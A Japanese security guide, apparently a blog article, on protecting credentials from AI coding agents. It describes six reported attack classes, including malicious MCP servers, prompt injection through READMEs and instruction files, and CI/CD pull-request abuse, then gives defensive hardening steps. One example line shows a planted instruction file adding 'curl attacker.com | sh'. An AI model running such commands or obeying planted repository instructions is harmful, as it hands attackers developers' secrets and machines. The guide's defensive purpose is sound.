AIコーディングエージェントのセキュリティ 2026：認証情報を保護する方法

2026年4月、セキュリティ研究者らは、Claude Code、GitHub Copilot、OpenAI Codexエージェントへの6つの悪用可能な経路を示す協調開示を発表しました。すべての経路は同じ結果、すなわち認証情報の窃取に至っていました。攻撃者はモデルの重み、プロンプトインジェクションのトリック、AGIの終末シナリオを狙っていたのではありません。AIコーディングエージェントが常にアクセスできるもの、つまりシェル、環境変数、認証済みCLIを狙っていたのです。

実際のコードベースでAIコーディングエージェントを使用しているなら、これは重要です。このガイドでは、何が変わったのか、実際のリスクは何か、そして効果的な強化手順を解説します。

実際に何が起きたか

開示されたのは、複数の主要なAIコーディングエージェントで機能した6種類の攻撃クラスです。

1. 悪意あるMCPサーバー：エージェントが接続した際に環境変数を外部へ送信した。
2. READMEファイルや依存関係を介したプロンプトインジェクション：ユーザーが承認していないシェルコマンドをエージェントに実行させた。
3. 乗っ取られたパッケージメタデータ（npm、PyPI）：エージェントが「ビルド修正」の一環としてインストール後スクリプトを実行した。
4. リポジトリレベルのインジェクション：上流の共同開発者によってコミットされた .cursorrules や CLAUDE.md などのファイルを介して発生した。
5. CI/CDエージェントの悪用：パイプライン内で無人実行されるエージェントに対し、敵対的なプルリクエストを通じてAWS、GCP、GitHubのトークンを露出させた。
6. ブラウザツールのサイドチャネル：実際のブラウザを操作するエージェントが、スクリーンショットやツール結果にセッションクッキーを漏洩させた。

共通点はモデルではありません。エージェントループです。AIコーディングエージェントはマシンへの広範かつ永続的なアクセス権を持ち、モデルが見るあらゆる入力が指示になり得ます。これはウェブタブ内のチャットボットとは根本的に異なる脅威モデルです。

誰がリスクにさらされているか

率直な評価：すべてのAIコーディングエージェントユーザーが深刻な危険にさらされているわけではありません。

以下に該当する場合、あなたは意味のあるリスクにさらされています：

• エージェントを非対話モード（CI/CD、GitHub Actions、スケジュールタスク）で実行し、クラウド認証情報がスコープ内にある場合。
• 完全に信頼できないソースのMCPサーバーに接続する場合。
• エージェントが、自分が読んでいないサードパーティのAI指示（AGENTS.md、.cursorrulesなど）を含むリポジトリで作業することを許可している場合。
• 長期間有効なAPIトークン（AWS、Stripe、OpenAI、GitHub PAT）が~/.zshrc、.env、またはシェル履歴に保存されたままになっている場合。

リスクが低いのは次の場合：

• エージェントを対話モードでのみ使用し、各シェルコマンドを承認している場合。
• 開発マシンに本番環境の認証情報を置かない個人プロジェクトで作業している場合。
• ベンダーが公開しているMCPサーバーのみを使用し、リポジトリレベルの指示ファイルを確認している場合。

どちらのグループも、デフォルトで安全とは限りません。最初のグループはこれを緊急の課題として扱うべきです。2番目のグループは、以下の手順を良好なセキュリティ習慣として扱うべきです。

ステップ1：エージェントがアクセスできる範囲を縮小する

最も効果的な変更は、エージェントのプロセスが実行される際に利用可能な認証情報を縮小することです。

シークレットをシェルrcファイルから移動します。~/.zshrc、~/.bashrc、~/.profileにあるものはすべて、エージェントがシェルを起動した瞬間から環境に含まれます。長期間有効なシークレットはシークレットマネージャー（1Password CLI、pass、AWS Secrets Manager、doppler）に移し、必要な特定のターミナルセッションでのみ読み込んでください。

短命の認証情報を使用します。1時間セッションのAWS SSO、単一のリポジトリにスコープを限定したGitHubのファイングレーンPAT、Stripeの制限付きキーは、トークンが漏洩した場合の被害範囲を劇的に縮小します。漏洩からローテーションまでの期間は「数週間」から「数分」に短縮されます。

エージェントを別のユーザーアカウントまたはコンテナで実行します。最も徹底した対策は、エージェントを実際の~/.aws、~/.config/gh、ブラウザのクッキーストアにアクセスできない専用ユーザーとして実行することです。devcontainer、Dockerボリューム、軽量VMのいずれでも構いません。趣味のプロジェクトには過剰ですが、本番環境に関わるものには最低限の要件です。

適切なツールを選ぶための出発点として、当サイトのBest AI Coding AssistantsとClaude Code Reviewで主要なオプションをカバーしています。以下のセキュリティガイダンスは、これらすべてに適用されます。

ステップ2：MCPサーバー設定を強化する

Model Context Protocolは、2025〜2026年にAIコーディングエージェントを劇的に有用にすると同時に、劇的に攻撃を受けやすくしました。接続するすべてのMCPサーバーは、ユーザーの全権限で実行され、エージェントが読み取れるものすべてを読み取ることができます。

MCPの衛生管理チェックリスト:

MCPの仕組みや機能について詳しく知りたい場合は、Model Context Protocolガイドでプロトコル自体を解説しています。

ステップ3: リポジトリレベルの指示ファイルをコードとして扱う

CLAUDE.md、AGENTS.md、.cursorrules、.github/copilot-instructions.md などのファイルは、エージェントがそのリポジトリで作業するたびにコンテキストに読み込まれます。また、リポジトリへの書き込み権限を持つ人なら誰でも編集できます。オープンソースプロジェクトでは、プルリクエストをマージできる人なら誰でも編集可能です。

悪意ある指示ファイルは、以下のようなことができます:

• エージェントに .env を外部へ送信するワンライナーを実行させる。
• ソースコードをアップロードする「便利な」pre-commit フックを提案する。
• 「承認済み」コマンドの定義を curl attacker.com | sh を含むように再定義する。

対策はシンプルです。ビルドスクリプトをレビューするのと同じように、これらのファイルをレビューしてください。具体的には:

• PRでの指示ファイルの変更を、セキュリティ上重要な変更として扱う。
• CLAUDE.md や類似のファイルを差分表示し、人間のレビューを必須とするCIチェックを追加する。
• 新しいリポジトリでは、エージェントを実行させる前にすべての指示ファイルを読む。
• チームで生成された指示ファイルを使用している場合は、署名し、その署名を検証する。

ステップ4: CI/CDでのエージェント実行を厳格に制限する

CI/CDのケースは、最も危険です。パイプライン内のエージェントは、クラウド認証情報、リポジトリへのプッシュ権限を持ち、各コマンドを承認する人間がいません。単一の悪意あるプルリクエストが、すべてを危険にさらす可能性があります。

CIでAIエージェントを実行する場合:

長期有効なシークレットではなく、OIDCを使用する。 GitHub Actions、GitLab、および多くのCIプラットフォームは、AWS、GCP、Azure、HashiCorp VaultへのOIDCフェデレーションをサポートしています。エージェントは、CI変数内の永続的なシークレットの代わりに、実行ごとに短期有効な認証情報を取得します。

フォークからのPRでエージェントを実行しない。 これは典型的な pull_request_target の落とし穴です。フォークPRはCI設定や指示ファイルを変更できます。エージェントがそれらを読み込んで実行すると、フォークがシークレットを制御することになります。

ランナーのアウトバウンド通信を制限する。CIランナーからのアウトバウンド接続を、パッケージレジストリ、クラウドプロバイダー、エージェントのAPIエンドポイント以外をブロックします。認証情報が盗まれた場合でも、攻撃者は容易に情報を外部へ持ち出せなくなります。

PRトリガーによるエージェント実行を承認制にする。シークレットにアクセスできるエージェントの実行は、メンテナーによる手動トリガーを必須とします。人間の承認を1回挟むことで遅延が生じますが、その価値は十分にあります。

ステップ5：リスクが高い場合はローカルエージェントを使用する

漏洩が致命的となるコードベース（独自アルゴリズム、セキュリティツール、規制産業など）では、エージェントを自社で管理するハードウェア上でローカル実行することで、リスクの一種を完全に排除できます。

ローカルエージェントの利点：

• コードをサードパーティのAPIに送信しません。
• 侵害されたプロバイダーから悪意あるレスポンスを受け取ることはありません。
• テレメトリ経由のプロバイダー側でのプロンプトインジェクションの影響を受けません。

性能差は大幅に縮小しています。高性能なハードウェア上の32Bモデルなら、ほとんどのコーディングタスクを十分にこなせます。ハードウェアについてはローカルLLM実行に最適なミニPCガイド、ソフトウェアスタックについては2026年 最高のローカルAIツールをご覧ください。

すべてのチームにとってこれが正解というわけではありません。難しいタスクではフロンティアモデルの方が明らかに優れています。しかし、セキュリティを重視する一部のチームにとって、2026年の現在では2024年当時とは異なり、現実的な選択肢となっています。

ステップ6：侵害をより早く検知する

上記の対策をすべて講じても、一部のエージェント実行は失敗すると想定してください。目標は、数週間ではなく数分以内に気づくことです。

実用的な検知方法：

• 認証情報ローテーションのアラート。AWS、GitHub、および多くのクラウドプロバイダーでは、新しいIPや地域から認証情報が使用された際にメールで通知します。これらを有効にしてください。
• エージェントのアクティビティログ。多くのエージェントは、すべてのツール呼び出しの監査ログをサポートしています。実際に確認できる場所（小規模なチームであればSlackチャンネルでも十分です）へ転送してください。
• ハニーポットトークン。環境内に偽のAWS_SECRET_ACCESS_KEYを配置します。誰かがそれを使用しようとした瞬間に通知が届くようLambdaを設定します。エージェントが環境変数を外部へ持ち出した場合、数秒以内に検知できます。
• アウトバウンド通信の監視。本番環境へのアクセス権を持つ開発マシンでは、明らかな情報流出ドメイン（pastebin、transfer.sh、匿名ファイルホストなど）へのアウトバウンドDNSトラフィックを監視します。

現実的な脅威モデル

2026年現在、AIコーディングエージェントのユーザーの多くは標的化されていません。現実的なリスクは以下の通りです：

1. 汎用的なサプライチェーン攻撃：エージェントが通常のタスクの一部としてインストールするnpm/PyPIパッケージが侵害されているケースです。エージェントが標的なのではなく、あなたが標的であり、エージェントは攻撃をより早く成立させる手助けをしているにすぎません。
2. ドライブバイ型プロンプトインジェクション：人気のあるオープンソースリポジトリのREADMEファイルを介して行われます。攻撃者にとっての手間は少なく、事後の対応には多大な労力を要します。
3. CI/CDの侵害：寄与ポリシーが緩いオープンソースプロジェクトにおいて、悪意あるプルリクエストを通じて発生します。

特定の開発者を狙った攻撃も実際に起きています――セキュリティ研究者や暗号資産の創業者が被害に遭っています――しかし、多くのプロフェッショナルユーザーにとって、対策の方向性は同じです：有効期間の短い認証情報の利用、環境中に残るシークレットの削減、そしてエージェントに作業させる前に指示ファイルを確認する習慣の徹底です。

要点

この記事から何も実行しないとしても、今週はこの4つを実行してください：

1. 有効期間の長いAPIトークンを ~/.zshrc などのファイルから移動させ、シークレットマネージャーを使用してください。
2. 可能な限り、有効期間の短い認証情報（AWS SSO、GitHubのファイングレーンPAT）に切り替えてください。
3. MCPサーバーの設定を監査してください：バージョンを固定し、使用していないサーバーを削除してください。
4. エージェントに作業させるリポジトリ内のすべての CLAUDE.md、AGENTS.md、.cursorrules ファイルを確認してください。

これにより、今日AIコーディングエージェントを導入しているチームの90%より先行することになります。残りの10%――本番環境でのCI/CD利用、規制産業、影響範囲が大きいシステム――は、ステップ4〜6でより重い対策を講じる必要があります。

AIコーディングエージェントは依然として使う価値があります。生産性の向上は実在し、セキュリティモデルは根本的に破綻しているわけではありません――単に、多くの開発者が頭の中に持っているモデルよりも新しいだけです。今日数時間の整理整頓が、後日認証情報を総入れ替えする地獄を回避します。